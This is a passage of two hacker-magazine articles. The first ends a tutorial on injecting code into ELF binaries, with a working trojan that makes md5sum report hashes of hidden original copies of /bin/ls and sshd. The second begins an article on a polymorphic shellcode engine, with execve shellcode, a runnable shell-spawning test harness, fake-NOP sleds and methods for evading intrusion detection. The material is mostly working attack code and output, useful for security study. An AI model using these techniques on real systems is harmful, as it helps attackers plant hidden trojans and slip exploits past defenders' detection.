puts + 8       add          %al,(%eax)                 00 00
puts + 10      add          %ch,%cl                    00 E9
puts + 12      sar          $FF,%bh                    C0 FF FF
puts + 15      (bad)        %edi                       FF FF
-----END EXAMPLE 13-----
```

On SPARC:

```
-----BEGIN EXAMPLE 14-----
old_puts + 0   sethi  %hi(0xf000), %g1                 03 00 00 3c
old_puts + 4   b,a   e0f4 <func2+0x1e0c>               30 bf ff f0
old_puts + 8   nop                                     01 00 00 00

puts + 0       jmp  %g1 + 0xf4 ! <puts_troj>           81 c0 60 f4
puts + 4       nop                                     01 00 00 00
puts + 8       sethi  %hi(0x12000), %g1                03 00 00 48
-----END EXAMPLE 14-----
```

This is the only architecture dependant operation in the ALTPLT algorithm. It means that this feature can be implemented very easily for other processors as well. However, on SPARC there is one more modification to do on the first entry of the .orig.plt section. Indeed, the SPARC architecture does not use a Global Offset Table (.got) for function address resolving, instead the .plt section is directly modified at dynamic linking time. Except for this difference, the SPARC .plt works just the same as INTEL .plt (both are using the first .plt entry each time, as explained in the ELF reference).

For this reason, we have to modify the first .orig.plt entry to make it point on the first .plt entry (which is patched in runtime before the main() function takes control). In order to patch it, we need to use a register other than %g1 (since this one is used by the dynamic linker to identify the .plt entry which has to be patched), for example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c).

Patched first .orig.plt entry on SPARC:

```
-----BEGIN EXAMPLE 15-----
.orig.plt       sethi  %hi(0x20400), %g2               05 00 00 81
.orig.plt       jmp    %g2 + 0x2a8  ! <.plt>           81 c0 a2 a8
.orig.plt       nop                                    01 00 00 00
-----END EXAMPLE 15-----
```

The reason for NOP instructions after the branching instruction (jmp) is because of SPARC delay slot. In short, SPARC branchement is done in such way that it changes the NPC register (New Program Counter) and not the PC register, and the instruction after a branching one is executed before the real branchement.

Let's use a new example which combines ET_REL injection and ALTPLT infection this time (instead of GOT redirection, like in the previous sshd example). We will modify md5sum so that access to /bin/ls and /usr/sbin/sshd is redirected. In that case, we need to hijack the fopen64() function used by md5sum, swap the real path with the backup path if necessary, and call the original fopen64 as if nothing had happened:

```
-----BEGIN EXAMPLE 16-----
$ cat md16.esh
#!/usr/bin/elfsh
```

```
load /usr/bin/md5sum
load test.o

# Add test.o into md5sum
reladd 1 2

# Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique
redir fopen64 fopen64_troj

save md5sum.new
quit
$ chmod +x md16.esh
$
-----END EXAMPLE 16-----
```

Let’s look at the injected code. Because the strcmp() libc function is not used by md5sum and therefore its symbol is not available in the binary, we have to copy it in the module source:

```
-----BEGIN EXAMPLE 17-----
$ cat test.c
#include <stdlib.h>

#define HIDDEN_DIR      "/path/to/hidden/dir"
#define LS              "/bin/ls"
#define SSHD            "/usr/sbin/sshd"
#define LS_BAQ          "ls.baq"
#define SSHD_BAQ        "sshd.baq"

int     mystrcmp(char *str1, char *str2)
{
  u_int cnt;

  for (cnt = 0; str1[cnt] && str2[cnt]; cnt++)
    if (str1[cnt] != str2[cnt])
      return (str1[cnt] - str2[cnt]);
  return (str1[cnt] - str2[cnt]);
}

int     fopen64_troj(char *str1, char *str2)
{
  if (!mystrcmp(str1, LS))
    str1 = HIDDEN_DIR "/" LS_BAQ;
  else if (!mystrcmp(str1, SSHD))
    str1 = HIDDEN_DIR "/" SSHD_BAQ;
  return (old_fopen64(str1, str2));
}
$ gcc test.c -c
$
-----END EXAMPLE 17-----
```

For this last example, the full relinking information will be printed on stdout, so that the reader can enjoy all the details of the implementation:

```
-----BEGIN EXAMPLE 18-----
$

 Welcome to The ELF shell 0.5b9 .::.

  .::. This software is under the General Public License
  .::. Please visit http://www.gnu.org to know about Free Software
```

```
~load /usr/bin/md5sum
 [*] New object /usr/bin/md5sum loaded on Sat Aug  2 16:16:32 2003

~exec cc test.c -c
 [*] Command executed successfully

~load test.o
 [*] New object test.o loaded on Sat Aug  2 16:16:32 2003

~reladd 1 2
[DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.text       [080470F4]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata     [080460F4]
[DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt         [080450F4]
[DEBUG_RELADD] Injected symbol old_dlresolve              [080450F4]
[DEBUG_RELADD] Injected symbol old_ferror                 [08045104]
[DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully
[DEBUG_RELADD] Injected symbol old_strchr                 [08045114]
[DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully
[DEBUG_RELADD] Injected symbol old_feof                   [08045124]
[DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully
[DEBUG_RELADD] Injected symbol old___register_frame_info  [08045134]
[DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully
[DEBUG_RELADD] Injected symbol old___getdelim             [08045144]
[DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully
[DEBUG_RELADD] Injected symbol old_fprintf                [08045154]
[DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully
[DEBUG_RELADD] Injected symbol old_fflush                 [08045164]
[DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully
[DEBUG_RELADD] Injected symbol old_dcgettext              [08045174]
[DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully
[DEBUG_RELADD] Injected symbol old_setlocale              [08045184]
[DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully
[DEBUG_RELADD] Injected symbol old___errno_location       [08045194]
[DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully
[DEBUG_RELADD] Injected symbol old_puts                   [080451A4]
[DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully
[DEBUG_RELADD] Injected symbol old_malloc                 [080451B4]
[DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully
[DEBUG_RELADD] Injected symbol old_fread                  [080451C4]
[DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully
[DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4]
[DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully
[DEBUG_RELADD] Injected symbol old_bindtextdomain         [080451E4]
[DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully
[DEBUG_RELADD] Injected symbol old_fputs                  [080451F4]
[DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully
[DEBUG_RELADD] Injected symbol old___libc_start_main      [08045204]
[DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully
[DEBUG_RELADD] Injected symbol old_realloc                [08045214]
[DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully
[DEBUG_RELADD] Injected symbol old_textdomain             [08045224]
[DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully
[DEBUG_RELADD] Injected symbol old_printf                 [08045234]
[DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully
[DEBUG_RELADD] Injected symbol old_memcpy                 [08045244]
[DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully
[DEBUG_RELADD] Injected symbol old_fclose                 [08045254]
[DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully
[DEBUG_RELADD] Injected symbol old_getopt_long            [08045264]
[DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully
[DEBUG_RELADD] Injected symbol old_fopen64                [08045274]
[DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully
[DEBUG_RELADD] Injected symbol old_exit                   [08045284]
[DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully
[DEBUG_RELADD] Injected symbol old_calloc                 [08045294]
[DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully
[DEBUG_RELADD] Injected symbol old__IO_putc               [080452A4]
```

```
[DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully
[DEBUG_RELADD] Injected symbol old_free                   [080452B4]
[DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully
[DEBUG_RELADD] Injected symbol old_error                  [080452C4]
[DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully
[DEBUG_RELADD] Entering intermediate symbol injection loop
[DEBUG_RELADD] Injected ET_REL symbol mystrcmp            [080470F4]
[DEBUG_RELADD] Injected symbol mystrcmp                   [080470F4]
[DEBUG_RELADD] Injected ET_REL symbol fopen64_troj        [08047188]
[DEBUG_RELADD] Injected symbol fopen64_troj               [08047188]
[DEBUG_RELADD] Entering final relocation loop
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460F4]
[DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460FC]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046117]
[DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046126]
[DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274]
 [*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum

~redir fopen64 fopen64_troj
 [*] Function fopen64 redirected to addr 0x08047188 <fopen64_troj>

~save md5sum.new
 [*] Object md5sum.new save successfully

~quit
 [*] Unloading object 1 (test.o)
 [*] Unloading object 2 (/usr/bin/md5sum) *

        Good bye ! .::. The ELF shell 0.5b9
 $
 -----END EXAMPLE 18-----
```

As shown in the script output, the new file has got new symbols (the old symbols). Let’s observe them using the elfsh ’-sym’ command and the regex capability (’old’) :

```
 -----BEGIN EXAMPLE 19-----
 $ elfsh -q -f md5sum.new -sym old
 [SYMBOL TABLE]
 [Object md5sum.new]

 [27] 0x80450f4  FUNC old_dlresolve                sz:16 scop:Local
 [28] 0x8045104  FUNC old_ferror                   sz:16 scop:Local
 [29] 0x8045114  FUNC old_strchr                   sz:16 scop:Local
 [30] 0x8045124  FUNC old_feof                     sz:16 scop:Local
 [31] 0x8045134  FUNC old___register_frame_info    sz:16 scop:Local
 [32] 0x8045144  FUNC old___getdelim               sz:16 scop:Local
 [33] 0x8045154  FUNC old_fprintf                  sz:16 scop:Local
 [34] 0x8045164  FUNC old_fflush                   sz:16 scop:Local
 [35] 0x8045174  FUNC old_dcgettext                sz:16 scop:Local
 [36] 0x8045184  FUNC old_setlocale                sz:16 scop:Local
 [37] 0x8045194  FUNC old___errno_location         sz:16 scop:Local
 [38] 0x80451a4  FUNC old_puts                     sz:16 scop:Local
 [39] 0x80451b4  FUNC old_malloc                   sz:16 scop:Local
 [40] 0x80451c4  FUNC old_fread                    sz:16 scop:Local
 [41] 0x80451d4  FUNC old___deregister_frame_info  sz:16 scop:Local
 [42] 0x80451e4  FUNC old_bindtextdomain           sz:16 scop:Local
 [43] 0x80451f4  FUNC old_fputs                    sz:16 scop:Local
 [44] 0x8045204  FUNC old___libc_start_main        sz:16 scop:Local
 [45] 0x8045214  FUNC old_realloc                  sz:16 scop:Local
 [46] 0x8045224  FUNC old_textdomain               sz:16 scop:Local
 [47] 0x8045234  FUNC old_printf                   sz:16 scop:Local
 [48] 0x8045244  FUNC old_memcpy                   sz:16 scop:Local
 [49] 0x8045254  FUNC old_fclose                   sz:16 scop:Local
```

```
[50] 0x8045264  FUNC old_getopt_long              sz:16 scop:Local
[51] 0x8045274  FUNC old_fopen64                  sz:16 scop:Local
[52] 0x8045284  FUNC old_exit                     sz:16 scop:Local
[53] 0x8045294  FUNC old_calloc                   sz:16 scop:Local
[54] 0x80452a4  FUNC old__IO_putc                 sz:16 scop:Local
[55] 0x80452b4  FUNC old_free                     sz:16 scop:Local
[56] 0x80452c4  FUNC old_error                    sz:16 scop:Local
$
-----END EXAMPLE 19-----
```

It sounds good ! Does it work now?

```
$ md5sum /bin/bash
ebe1f822a4d026c366c8b6294d828c87  /bin/bash
$ ./md5sum.new /bin/bash
ebe1f822a4d026c366c8b6294d828c87  /bin/bash

$ md5sum /bin/ls
3b622e661f6f5c79376c73223ebd7f4d  /bin/ls
$ ./md5sum.new /bin/ls
./md5sum.new: /bin/ls: No such file or directory

$ md5sum /usr/sbin/sshd
720784b7c1e5f3418710c7c5ebb0286c  /usr/sbin/sshd
$ ./md5sum.new /usr/sbin/sshd
./md5sum.new: /usr/sbin/sshd: No such file or directory

$ ./md5sum.new ./md5sum.new
b52b87802b7571c1ebbb10657cedb1f6  ./md5sum.new
$ ./md5sum.new /usr/bin/md5sum
8beca981a42308c680e9669166068176  /usr/bin/md5sum
$
```

Heheh. It work so well that even if you forget to put the original copy in your hidden directory, md5sum prints the original path and not your hidden directory path ;). This is because we only change a local pointer in the fopen64_troj() function, and the caller function is not aware of the modification, so the caller error message is proceeded with the original path.

Let's give the detailed algorithm for the ALTPLT technique. It must be used as a '2 bis' step in the main ET_REL injection algorithm given in the previous chapter, so that injected code can use any old_* symbols:

```
- Create new section header with same size, type, rights as .plt
- Insert new section header
IF current OS == FreeBSD
[
   - Inject section using post-bss technique.
]
ELSE
[
   - Inject section using pre-interp technique.
]
FOREACH .plt entry (while counter < sh_size)
[
  IF counter == 0 AND current architecture is SPARC
  [
    - Infect current entry using %g2 register.
  ]
  - Inject new 'old_<name>' symbol pointing on current entry
    (= sh_addr + cnt)
```

```
      - Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt
    ]
```

This algorithm is executed once and only once per ET_EXEC file. The 'redir' command actually performs the PLT infection on demand. A future (better) version of this command would allow core binary function hijacking. Since the code segment is read-only in userland, we cant modify the first bytes of the function at runtime and perform some awful bytes restoration [13] [14] for calling back the original function. The best solution is probably to build full control flow graphs for the target architecture, and redirect all calls to a given block (e.g. the first block of the hijacked function), making all these calls point to the hook function, as suggested in [15] . ELFsh provides INTEL control flow graphs (see modflow/modgraph), so does objobf [16], but the feature is not yet available for other architectures, and some specific indirect branchement instructions are not easily predictable [17] using static analysis only, so it remains in the TODO.

-------[5. The end ?

This is the end, beautiful friend. This is the end, my only friend, the end... Of course, there is a lot of place for improvements and new features in this area. More target architectures are planed (pa-risc, alpha, ppc?), as well as more ELF objects support (version tables, ELF64) and extension for the script langage with simple data and control flow support. The ELF development is made easy using the libelfsh API and the script engine. Users are invited to improve the framework and all comments are really welcomed.

-------[6. Greets

Greets go to #!dh and #dnerds peoples, you know who you are. Special thanks to duncan @ mygale and zorgon for beeing cool-asses and giving precious feedback.

Other thanks, in random order : Silvio Cesare for his great work on the first generation ELF techniques (I definitely learnt a lot from you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq) who greatly helped to provide reliable and portable software, pipash for finding all the 76 char lenght lines of the article (your feedback r00lz as usual ;) , grsecurity.net (STBWH) for providing a useful sparc/linux account, and Shaun Clowes for giving good hints.

Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great time I had with them during those days, you guyz rock.

-------[7. References

[1] The ELF shell project   The ELF shell crew
MAIN   : elfsh.devhell.org
MIRROR : elfsh.segfault.net

[2] PaX project   The PaX team
pageexec.virtualave.net

[3] ELF TIS reference
x86.ddj.com/ftp/manuals/tools/elf.pdf
www.sparc.com/standards/psABI3rd.pdf (SPARC supplement)

[4] UNIX ELF parasites and virus   silvio
www.u-e-b-i.com/silvio/elf-pv.txt

[5] Shared library redirection by ELF PLT infection   silvio
phrack.org/phrack/56/p56-0x07

[6] Understanding ELF rtld internals   mayhem
devhell.org/~mayhem/papers/elf-rtld.txt

[7] More ELF buggery (bugtraq post)   thegrugq
www.securityfocus.com/archive/1/274283/2002-05-21/2002-05-27/0

[8] Runtime process infection   anonymous
phrack.org/phrack/59/p59-0x08.txt

[9] Subversive ELF dynamic linking   thegrugq
downloads.securityfocus.com/library/subversiveld.pdf

[10] Static kernel patching   jbtzhm
phrack.org/phrack/60/p60-0x08.txt

[11] Run-time kernel patching   silvio
www.u-e-b-i.com/silvio/runtime-kernel-kmem-patching.txt

[12] Bypassing stackguard and stackshield   bulba/kil3r
phrack.org/phrack/56/p56-0x05

[13] Kernel function hijacking   silvio
www.u-e-b-i.com/silvio/kernel-hijack.txt

[14] IA32 advanced function hooking   mayhem
phrack.org/phrack/58/p58-0x08

[15] Unbodyguard (solaris kernel function hijacking) noir
gsu.linux.org.tr/~noir/b.tar.gz

[16] The object code obfuscator tool of burneye2   scut
segfault.net/~scut/objobf/

[17] Secure Execution Via Program Shepherding   Vladimir Kiriansky
www.cag.lcs.mit.edu/dynamorio/security-usenix.pdf   Derek Bruening
                                                       Saman Amarasinghe

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x09 of 0x0f

|=--------[Polymorphic Shellcode Engine Using Spectrum Analysis]--------=|

|=--=|
|=---------[theo detristan theo@ringletwins.com   ]---------=|
|=---------[tyll ulenspiegel tyllulenspiegel@altern.org   ]---------=|
|=---------[yann_malcom   yannmalcom@altern.org   ]---------=|
|=---------[mynheer superbus von underduk msvu@ringletwins.com]---------=|
|=--=|

--[0 - Contents

1 - Abstract

2 - Introduction

3 - Polymorphism: principles and usefulness against NIDS.

4 - Make the classical IDS pattern matching inefficient.

5 - Spectrum Analysis to defeat data mining methods.

6 - The CLET polymorphism engine

7 - References

--[1 - Abstract

Nowadays, polymorphic is maybe an overused word. Some programs called polymorphism engine have been lately released with constant decipher routines. Polymorphism is a method against pattern matching (cf 3.2), if you have constant consecutive bytes in the code you generate, NIDS will always be able to recognize the signature of those constant bytes...

In some real engine (which generate non-constant decipher routine like ADMmutate), there are some weaknesses left (maybe weaknesses isn't the best word since the recent NIDS are not able to exploit them) like the XOR problem (cf 4.2) or a NOP zone with only one byte instructions (cf 4.1). In our engine, we have been interested in these problems (cf 4) and we have tried to implement some solutions. We have tried too to implement methods against the next generation of NIDS using data-mining methods (cf 5).

However we don't claim to have created an 'ultimate' polymorphic engine. We are aware of some weaknesses that exist and can be solved with solutions we expose below but we haven't implemented yet. There are probably some weaknesses too we're not aware of, your mails are welcome for the next version.

This article explains our work, our ideas, we hope you will enjoy it.

--[2 - Introduction

Since the famous "Smashing the stack for fun and profit", the technique of buffer overflow has been widely used to attack systems.

To confine the threat new defense systems have appeared based on pattern matching. Nowadays, Intrusion Detection System (IDS) listen the trafic and try to detect and deny packets containing shellcode used in buffer overflow attacks.

On the virus scene, a technique called polymorphism appeared in 1992. The idea behind this technique is very simple, and this idea can be applied to shellcodes. ADMmutate is a first public attempt to apply polymorphism to shellcode.

Our aim was to try to improve the technique, find enhancements and to apply them to an effective polymophic shellcode engine.

--[3 - Polymorphism: principles and usefulness against NIDS.

----[3.1 - Back in 1992...

In 1992, Dark Avenger invented a revolutionary technique he called polymorphism. What is it ? It simply consist of ciphering the code of the virus and generate a decipher routine which is different at each time, so that the whole virus is different at each time and can't be scanned !

Very good polymorphic engines have appeared : the TridenT Polymorphic Engine (TPE), Dark Angel Mutation Engine (DAME).

As a consequence, antivirus makers developped new heuristic techniques such as spectrum analysis, code emulators, ...

----[3.2 - Principles of polymorphism

Polymorphism is a generic method to prevent pattern-matching. Pattern-matching means that a program P (an antivirus or an IDS) has a data-base with 'signatures'. A signature is bytes suite identifying a program. Indeed, take the following part of a shellcode:

```
        push byte 0x68
        push dword 0x7361622f
        push dword 0x6e69622f
        mov ebx,esp

        xor edx,edx
        push edx
        push ebx
        mov ecx,esp
        push byte 11
        pop eax
        int 80h
```

This part makes an execve("/bin/bash",["/bin/bash",NULL],NULL) call.
This part is coded as:

```
"\x6A\x68\x68\x2F\x62\x61\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xD2"
"\x52\x53\x89\xE1\x6A\x0B\x58\xCD\x80".
```

If you locate this contiguous bytes in a packet destinated to a web server, it can be an attack. An IDS will discard this packet. Obviously, there are other methods to make an execve call, however, it will make an other signature. That's what we call pattern matching. Speak about viruses or shellcodes is not important, the principles are the same. We will see later the specificities of shellcodes.

Imagine now you have a code C that a program P is searching for. Your code is always the same, that's normal, but it's a weakness. P can have a caracteristic sample, a signature, of C and make pattern matching to detect C. And then,C is no longer useable when P is running.

The first idea is to cipher C. Imagine C is like that :

```
            [CCCCCCC]
```

Then you cipher it :

```
            [KKKKKKKK]
```

But if you want to use C, you must put a decipher routine in front of it :

```
        [DDDDKKKKKKKK]
```

Great ! You have ciphered C and the sample of C that is in P is no longer efficient. But you have introduced a new weakness because your decipher routine will be rather the same (except the key) each time and P will be able to have a sample of the decipher routine.

So finally, you have ciphered C but it is still detected :(

And polymorphism was born !

The idea is to generate a different decipher routine each time."different" really means different, not just the key. You can do it with different means :

- generate a decipher routine with different operations at each time. A classic cipher/decipher routine uses a XOR but you can use whatever operation that is reversible : ADD/SUB, ROL/ROR, ...
- generate fake code between the true decipher code. For example, if you don't use some registers, you can play with them, making fake operations in the middle of the effective decipher code.
- make all of them.

So a polymorphism engine makes in fact 2 things :

- cipher the body of the shellcode.
- generate a decipher routine which is _different_ at each time.

----[3.3 - Polymorphism versus NIDS.

A code of buffer overflow has three or four parts:

```
--------------------------------------------------------------------------
|         NOP        |   shellcode   | bytes to cram |    return adress  |
--------------------------------------------------------------------------
```

Nowadays, NIDS try to find consecutive NOPs and make pattern matching on the shellcodes when it believes to have detected a fakenop zone. This is not a really efficient method, however we could imagine methodes to recognize the part of bytes which cram the buffer or the numberous consecutive return adresses.
So, our polymorphic engine have to work on each of those parts to make them unrecognizable. That's what we try to do:

- firstly, the NOPs series is changed in a series of random instructions (cf 4.1 "fake-nop") of 1,2,3 bytes.

- secondly, the shellcode is ciphered (with a random method using more than an only XOR) and the decipher routine is randomly generated. (cf 4.2)

- thirdly, in a polymorphic shellcode, a big return adress zone has to be avoided. Indeed, such a big zone can be detected, particulary by data mining methods. To defeat this detection, the idea is to try to limit the size of the adress zone and to add bytes we choose between shellcode and this zone. This bytes are chosen randomly or by using spectrum analysis (cf 5.3.A).

- endly, we haven't found a better method than ADMmutate's to covert the return adresses: since the return adresse is chosen with uncertainly, ADMmutate changes the low-weight bits of the return adress between the different occurences (cf 4.2).

NB: Shellcodes are not exactly like virus and we can take advantage of it:

- A virus must be very careful that the host program still works after infection ; a shellcode does not care! We know that the shellcode will be the last thing to be executed so we can do what we want with registers for example, no need to save them.

We can take good avantage of this, and in our fake-nop don't try to make code which makes nothing (like INCR & DECR, ADD & SUB or PUSH & POP...) (what could be moreover easily recognizable by an IDS which would make code emulation). Our fake-nop is a random one-byte instructions code, and we describe another method (not implemented yet) to improve this, because generating only one-byte instructions is still a weakness.

- The random decipher method has to be polymorphed with random code (but not necessarily one-byte instructions) wich makes anything but without consequences on the deciphering (hum... not implemented yet :(
- A shellcode must not have zeroes in it, since, for our using, we always using strings to stock our code. so we have to take care of it...

Thus, this is what a polymorphic shellcode looks like:

```
---------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
---------------------------------------------------------------------------
```

Let's now study each part of it.

--[4 - Make classical IDS pattern matching inefficient.

----[4.1 - Fake NOPs zone with 2,3 bytes instructions.

------[4.1.A - Principles

NOPs are necessary before the shellcode itself. In fact, why is it necessary ? Because we don't know exactly where we jump, we just know we jump in the middle of the NOPs (cf article of Aleph One [1]). But it is not necessary to have NOPs, we can have almost any non-dangerous instructions. Indeed, we don't have to save some register, the only condition we have is to arrive until the decipher routine without errors. However we can't use any 'non-dangerous' instructions. Indeed, remember we don't know exactly where we jump.

One method to avoid this problem is to make the nop zone with only one-byte instructions. Indeed, in such a case, wherever we jump we fall on an correct instruction. The problem of such a choice is that there is not a lot of one byte instructions. It is thus relatively easy for an IDS to detect the NOPs zone. Hopefully many one-byte instructions can be coded with an uppercase letter, and so we could hide the nop zone in an alphanumeric zone using the american-english dictionnary (option -a of clet). However, as we explain in 5, such a choice can be inefficience, above all when the service asked is not an 'alphanumeric service' (cf 5).

Thus the problem is : how could we generate a random fake-nop using several-bytes instructions to better covert our fake nop?

There is a simple idea: we could generate two-byte intructions, the second byte of which is a one-byte instruction or the first byte of a two-byte instruction of this type and then recursively.
But let's see what can be problems of such a method.

------[4.1.B - Non-dangerous several bytes instructions.

- Instructions using several bytes can be dangerous because they can modify the stack or segment selectors (etc...) with random effects. So we have to choice harmless instructions (to do it, the book [3] is our friend... but we have to make a lot of tests on the instructions we are choosing).

- Some times, several-bytes instructions ask for particular suffixes to specify a register or a way of using this instruction (see modR/M [3]). For example, instruction CMP rm32,imm32 (compare) with such a code "0x81 /7 id" is a 6-bytes instruction which asks for a suffix to specify the register to use, and this register must belong to the seventh column of the "32-bit adressing Forms with the modR/M Byte" (cf[3]). However, remember that everywhere the code pointer is pointing within the fake-nop, it must be able to read a valid code. So the suffix and arguments of instructions must be instructions themselves.

------[4.1.C - An easy case

Let’s take the string : \x15\x11\xF8\xFA\x81\xF9\x27\x2F\x90\x9E
If we are following this code from the begining, we are reading:

```
ADC $0x11F8FA81    #instruction demanding 4-bytes argument
STC                #one-byte instructions
DAA
DAS
NOP
SAHF
```

If we are begining from the second byte, we are reading:

```
ADC %eax,%edx
CMP %ecx,$0x272F909E
```

Etc... We can begin from everywhere and read a valid code which makes nothing dangerous...

------[4.1.D Test the fake-nop

```
char shell[] =
        "\x99\x13\xF6\xF6\xF8"            //our fake_nop
        "\x21\xF8\xF5\xAE"
        "\x98\x99\x3A\xF8"
        "\xF6\xF8"
        "\x3C\x37\xAF\x9E"
        "\xF9\x3A\xFC"
        "\x9F\x99\xAF\x2F"
        "\xF7\xF8\xF9\xAE"
        "\x3C\x81\xF8\xF9"
        "\x10\xF5\xF5\xF8"
        "\x3D\x13\xF9"
        "\x22\xFD\xF9\xAF"
                                         //shellcode
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


int main()
{
    void (*go)()=(void *) shell;
    go();
    return(0);
}
```

We test a fake_nop string generate with our code... but it’s not really efficient as you can see :
when the adress (shell+i) of the function go() is change the testing program exited with:

```
shell    -> sh-2.05b$
shell+1  -> sh-2.05b$
shell+2  -> Floating point exception  Argh!
shell+3  -> sh-2.05b$
shell+4  -> sh-2.05b$
...
shell+11 -> sh-2.05b$
```

We haven’t been care enough with the choice and the organization of our instructions for the fake_nop and then we can randomly have segfaults or Floating point exceptions...(Really boring)

------[4.2 - The decipher routine

There are maybe two different methods to generate a decipher routine:
- you can use always the same routine but modify instructions. For instance you can use add eax,2 or inc eax; inc eax; the result will be the same but the code not.
- you can generate a different routine of decipher too.

In this two methods, you can add code between instructions of the decipher routine. Obviously, this add code mustn't modify running of this routine.
CLET have chosen the second approach, and we don't generate code between instructions because registers we use, order of instructions, type of instructions (ADD,SUB,ROL,ROR,XOR) change each time. Thus it is not necessary to add instructions...

* XOR with a fixed size key is not enough

There is a problem with using a decipher routine with only a XOR and a fixed size key. Mark Ludwig [5] describes it in From virus to antivirus with a concrete example. The real problem comes from the associativity and commutativity of the XOR operation and from the constant size of the key.

Imagine you cipher these two bytes B1 B2 with the key K, you obtain two ciphered bytes: C1 C2.

```
            C1 XOR C2 = (B1 XOR K) XOR (B2 XOR K)
                      = B1 XOR K XOR B2 XOR K
                      = B1 XOR B2 XOR K XOR K
                      = B1 XOR B2 XOR (K XOR K)
                      = B1 XOR B2 XOR 0
                      = B1 XOR B2
                      = Constant (independant on K)
```

We understand why an encrypted shellcode with a only XOR decipher routine and a fixed size key let a carateristic signature of the shellcode. You just have to XOR bytes with their neighboor in case of a single byte key, you will always have the same result, which is independant on K. In case of you have a key of N bytes, to obtain the signature you XOR bytes k with bytes k+N. Such a signature could be exploited by the NIDS (however you need a lot of calculation power).

It's important to notice (thanks for those who tell us ;)) that the real problem is not only a XOR. It's an only-XOR encryption AND a fixed size key. Indeed, some vx polymorphic engines, use an only XOR in the encryption but the key is not the same for all the ciphering. The key changes, and size of the key too. In such a case, our demonstration is inefficient because B1 and B2 are not ciphered with the same key K and you don't know where is the next byte ciphered with the same key (that's what you know when you use an only-XOR encryption with a fixed size key of several bytes.)

So a cipher routine using only a XOR and a fixed size key is not enough. In CLET we generate routines which cipher with several instructions XOR, ADD, ROR, ...

* Random registers

Remember we decide to generate a different decipher routine each time. Even if we change the type of ciphering each time, it is important too to modify asembler instructions that make this decipher routine. To do so, we have decided to change registers used. We need three registers, one to record address where we are working, one to record byte we are working on, one more register for all the other things. We have the choice between eax,ebx,ecx,edx. Thus we randomly use three of this registers each time.

* Four bytes encryption to defeat spectrum analysis methods.

Let’s begin to explain what we call a spectrum and what is spectrum analysis.

A spectrum of a paquet gives you bytes and number of this bytes in this packet.

For instance, the following board is a spectrum of a paquet called X:

\x00	\x01	\x08	\x0B	\x12	\x1A	...	\xFE	\xFF
25	32	04	18	56	43	...	67	99

This board means that there is 25 \x00 in X, 32 \x01, 0 \x02, ...
This board is what we call spectrum of X.

A spectrum analysis method makes spectrums of packets and create rules thanks to these spectrums. Some IDS use spectrum analysis methods to discard some packets. For instance, imagine that, in a normal trafic, you never have packets with more than 20 bytes of \xFF. You can make the following rule: discard packets with more than 20 bytes of \xFF. This is a very simple rule of spectrum analysis, in fact lots of rules are generated (with neural approach for instance, see 5.2) about spectrum of packets. This rules allow an IDS to discard some packets thanks to their spectrums. This is what we call a spectrum analysis method.

Now, let’s see how an IDS can put together pattern matching and spectral analysis methods.

The idea is to record signatures but not signatures of consecutive bytes, signatures of spectrum. For instance, for the previous packet X, we record: 25, 32, 04, 18, 56, 43, ..., 67, 99. Why these values? Because if you use a lonely byte encryption these values will always be the same.

In that way, if we cipher paquet X with the cipher routine XOR 02, ADD 1 we obtain a packet X’ which spectrum is:

\x03	\x04	\x0A	\x0B	\x11	\x19	...	\xFD	\xFE
25	32	18	04	56	43	...	67	99

